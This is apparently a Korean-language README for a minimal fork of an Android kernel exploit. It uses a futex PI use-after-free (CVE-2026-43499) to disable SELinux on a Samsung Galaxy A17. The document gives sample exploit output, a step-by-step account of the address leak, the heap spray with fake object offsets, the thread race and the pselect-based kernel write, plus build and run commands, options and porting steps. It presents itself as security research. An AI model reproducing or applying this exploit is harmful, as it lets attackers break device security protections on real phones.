
GhostLock은 하나의 프리미티브로 축소되었습니다: futex PI UAF(CVE-2026-43499)를 통한 Galaxy A17(BZA5)의 SELinux 비활성화. root 없음, cred 패치 없음, rwforge 없음.
GhostLock의 최소 포크로, 단 하나의 프리미티브만 유지합니다: CVE-2026-43499(futex PI UAF)를 통한 SELinux 비활성화.
ghost-hoock은 Mobile Hacking Lab의 GhostLock 익스플로잇을 간소화한 포크로, 단일 프리미티브로 축소되었습니다:
futex PI UAF를 통한 하나의 제한된 쓰기 ->
selinux_enforcing = 0.
루트 없음, cred 덮어쓰기 없음, rwforge 채널 없음, UMH 없음, configfs 없음. 취약한 커널에서 SELinux를 permissive 모드로 전환하는 데 필요한 최소한만 포함합니다.
Samsung Galaxy A17 (SM-A175F, BZA5) 에서의 출력 예시:
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
그런 다음:
$ getenforce
Permissive
getenforce가 Permissive를 반환
이 익스플로잇은 CVE-2026-43499 — Linux 커널의 futex PI(Priority Inheritance) rt_mutex 체인에서의 use-after-free — 를 대상으로 합니다. ghost-hoock의 체인은 네 단계입니다:
커널의 futex 해시 테이블에 대한 타이밍 사이드 채널입니다. 사용자 공간 futex 집합에 대해 FUTEX_WAKE_PRIVATE를 반복 호출하고, rdtsc 델타를 측정하여 해시 버킷 충돌을 상관 분석합니다. 이를 통해 우리 자신의 mm_struct 주소 — 나중에 필요한 스프레이 페이지의 베이스 — 를 복구합니다.
이는 KernelSnitch 기법으로, 원본 익스플로잇에서 그대로 가져왔습니다.
큰 order-3 슬랩 페이지를 할당한 다음, PI 경로에서 사용하는 가짜 객체 레이아웃으로 배치합니다:
세 개의 스레드:
f_wait에서 FUTEX_WAIT_REQUEUE_PI에 진입하여 f_pi_target을 대상으로 합니다.f_pi_target에 대해 FUTEX_LOCK_PI를 보유한 다음 f_pi_chain에 대해서도 보유합니다.sched_setattr(tid, SCHED_BATCH, nice=19)를 반복 호출하여, rt_mutex_setprio()를 트리거하고 커널이 가짜 PI 트리를 순회하도록 강제합니다.메인 스레드에서의 네 번째 호출 — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — 이 requeue를 시작합니다. 커널 내부에서 rb_erase()가 우리의 가짜 트리에 대해 실행됩니다.
pselect() / select()는 사용자의 fd_set을 커널 스택에 복사한 후 순회합니다. 커널이 rb-tree 포인터로 취급하는 워드가 fake_right와 그 부모에 위치하도록 fd_set 비트맵을 배치하면, 결과적인 rb_set_parent(child, parent)는 다음과 같이 됩니다:
*(uint64_t *)target = value | color
mode = 1(Write 1)의 경우, target = selinux_enforcing이고 value = base + 0x100이며, 이는 byte0 = 0, byte1 = 1로 인코딩됩니다. 커널은 selinux_enforcing[0]에 0을 씁니다 — 이제 SELinux는 permissive입니다.
ret = 6(기본값 대신)은 쓰기가 안착했음을 확인합니다: consumer가 중에 대상을 건드려 조기에 깨어났기 때문입니다.
이것은 mobilehackinglab/ghostlock-a17(MIT)의 포크입니다. 다음은 업스트림 익스플로잇에서 1:1로 가져왔습니다:
보조 코드(pr_* 매크로, SYSCHK, pin_to_core, set_limit, set_unbuffer)도 원본에서 그대로 유지됩니다.
원본 GhostLock은 A17에서 완전한 루트를 달성합니다: rwforge 물리적 R/W 채널을 설치하고, cred / real_cred를 패치하고, init creds로 UMH 헬퍼를 실행하고, 로그를 캡처하는 등의 작업을 합니다. ghost-hoock에서는 첫 번째 제한된 쓰기 이후의 모든 것이 제거되었습니다.
원본 GhostLock은 이 포크보다 더 완전하고 강력합니다. ghost-hoock은 대체물이 아닙니다 — SELinux를 끄는 하나의 좁은 작업을 위한 최소 PoC입니다.
$PATH에 clang과 make가 필요합니다. Termux에서 테스트되었으며, 툴체인이 있으면 adb shell을 통해서도 작동합니다.
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make
출력: ./ghost-hoock (aarch64, PIE).
Android NDK를 통한 빌드 (PC에서)
make NDK=/path/to/android-ndk-r26
또는 수동으로:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
크로스 컴파일 확인
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
옵션
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
환경 변수
· GHOSTLOCK_CORE — 0..N. consumer 스레드가 고정되는 CPU 코어. 기본값: 0. · KPHYS — 0x.... 커널 물리적 로드 주소, P0_KERNEL_PHYS_LOAD와 다를 경우. · PREPARE_SLABS — 4..64. 스프레이 중 준비되는 슬랩 페이지 수. 기본값: 32. · PSELECT_SHIFT — -14..14. fd_set 워드 시프트. 디버그 전용. · FOPS_MAX_ATTEMPTS — 4..72. FOPS 페이로드에 대한 prepare_kernel_page 최대 시도 횟수. · RWF_DEBUG — 임의의 값. 페이로드 구성에서 디버그 라인 출력.
6.12.23-android16-5-abA175FXXS5BZD2-4k.shell SELinux 컨텍스트(u:r:shell:s0)에서 실행해야 합니다.포팅: 다른 기기/커널은 자체 오프셋 테이블이 필요합니다. 해당 빌드의
vmlinux/kallsyms에서 추출한 심볼 오프셋으로include/offsets_bza5.h에 새OFFSETS_ENTRY(...)를 추가한 다음 재빌드하세요.
page_base 또는 관련 없는 메모리에 안착하는 쓰기는 커널을 크래시시킵니다. 이 포크는 원본보다 표면이 적으므로(rwforge, cred 패치, UMH 없음) 통계적으로 더 안전하지만, 100% 방탄은 아닙니다.slide = 0에 의존합니다. 이 포크에는 KASLR 유출이 없습니다. KASLR이 활성화된 커널로 포팅하는 경우, 원본에서 slide.c를 다시 가져와야 합니다.selinux_enforcing에 0을 쓸 뿐입니다. 루트가 필요하면 전체 ghostlock-a17을 사용하세요.selinux_enforcing = 0)만 유지됩니다. PI 경로를 깊이 이해하지 않고서는 Write 2나 rwforge 파이프라인으로 확장하려 하지 마세요.
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # shared header, API
│ ├── offset.h # TARGET_CONFIG_H dispatcher
│ ├── offsets_bza5.h # symbol offsets (BZA5 only)
│ ├── runtime_struct_offsets.h # dynamic struct offsets (_RSO macros)
│ └── target.h # BZA5 addresses, payload layout
├── src/
│ ├── main.c # CLI, offset selection, W1 loop
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # PI route + pselect constrained write
│ └── kernelsnitch/ # mm_struct leak (from upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — 업스트림 ghostlock-a17과 동일합니다. LICENSE를 참조하세요.
이 포크는 mobilehackinglab(2026)의 원본 저작권 고지를 유지하고, MIT 조건에 따라 그 위에 포크 저자를 추가합니다.
이 프로젝트는 자신의 기기에 대한 보안 연구 목적으로만 공개됩니다. 소유하지 않은 기기에 대해 실행하는 것은 대부분의 관할권에서 불법입니다.
mm_struct 유출 기법.연구용으로 제작되었습니다. 단일 물리 기기에서 테스트되었습니다. 사용에 따른 책임은 본인에게 있습니다.
| 오프셋 | 객체 | 용도 |
|---|
0x0E80 | fake_lock | 가짜 rt_mutex |
0x0F80 | fake_fops | 가짜 file_operations 테이블 |
0x1180 | fake_w0 | 대상 트리로 사용되는 가짜 rt_mutex_waiter |
0x1240 | fake_right | 가짜 rb-tree 오른쪽 노드 — 쓰기 값이 여기서 나옵니다 |
0x1260 | fake_left | 가짜 rb-tree 왼쪽 노드 |
0x1280 | fake_task | 가짜 task_struct |
전체 페이지는 sendmsg의 SKB_SEND_SIZE = 2 * ORDER3_SIZE만큼 AF_UNIX 소켓을 통해 전송되어, skb 데이터가 유출된 페이지에 안착합니다. 그런 다음 통제된 순서로 해제하여 우리 페이지가 회수 가능한 per-cpu partial 슬랩에 남도록 합니다.
9select()| 구성 요소 | 파일 | 비고 |
|---|
| KernelSnitch | src/kernelsnitch/* | futex 해시 타이밍을 통한 mm_struct 유출 |
| 힙 스프레이 | src/spray.c | 가짜 객체 레이아웃, prepare_skb_payload, prepare_kernel_page |
| PI 경로 + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| BZA5 오프셋 | include/offsets_bza5.h | 6.12.23-android16-5-abA175FXXS5BZD2-4k에서 추출한 심볼 테이블 |
| BZA5 대상 헤더 | include/target.h | 주소 레이아웃, 페이로드 오프셋(W1 서브셋만) |
| 런타임 구조체 오프셋 | include/runtime_struct_offsets.h | task_struct 필드용 _RSO() 매크로 |
| 제거된 파일 | 원본에 존재한 이유 |
|---|
rwforge_a17.c | pipe_buffers를 통한 marching-forger 물리적 R/W 채널 |
pipe_physrw.c, pipe_reclaim.c | 파이프 버퍼 회수 -> 임의 커널 읽기/쓰기 |
root.c | cred / real_cred 덮어쓰기, su 설치, SELinux SID 패칭 |
umh_root.c, wq_umh_root() (main.c 내) | 위조된 커널 workqueue 항목에서 init-creds 헬퍼 실행 |
slide.c | boot_id 오라클을 통한 KASLR 유출 — BZA5에서는 불필요, KASLR이 꺼져 있음 |
miniadb.c | ADB TCP를 통한 부트스트랩 |
try_cfi_stage() (fops.c 내) | 루트 경로를 부트스트랩하는 데 사용된 CFI 친화적 configfs 단계 |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | 전체 루트 파이프라인 |
install_embedded_su(), install_embedded_wallpaper() | 루트 설치 헬퍼 |
Write 2 (cred), patch_cred_*, patch_task_seccomp | W1 이후 자격 증명 탈취 |